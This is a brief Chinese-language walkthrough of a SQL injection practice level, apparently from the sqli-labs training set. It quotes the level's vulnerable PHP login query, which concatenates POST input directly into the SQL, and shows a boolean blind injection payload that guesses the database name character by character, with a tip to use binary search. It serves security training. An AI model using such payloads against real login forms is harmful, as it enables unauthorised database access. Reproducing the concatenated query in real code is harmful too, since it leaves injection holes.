本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了sql语句
$uname=$_POST['uname']; $passwd=$_POST['passwd']; $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
那这里对uname进行了 ("uname") 的处理。
本关和less15类似,同样可以利用布尔注入和延时注入进行。
下面我们来演示一下布尔注入。
猜测数据库第一位
uname=admin") and left(database(),1)>'n'#&passwd=1&submit=Submit
登录成功,就这样可以挨个对每一位进行测试,less5中我们已经讲过这个过程了,这里就不重复了。
这里提一个小的建议:在按位进行猜解的过程中,可以利用二分法,可以有效的降低尝试次数。
其他的过程就不演示了,请自行构造payload进行测试。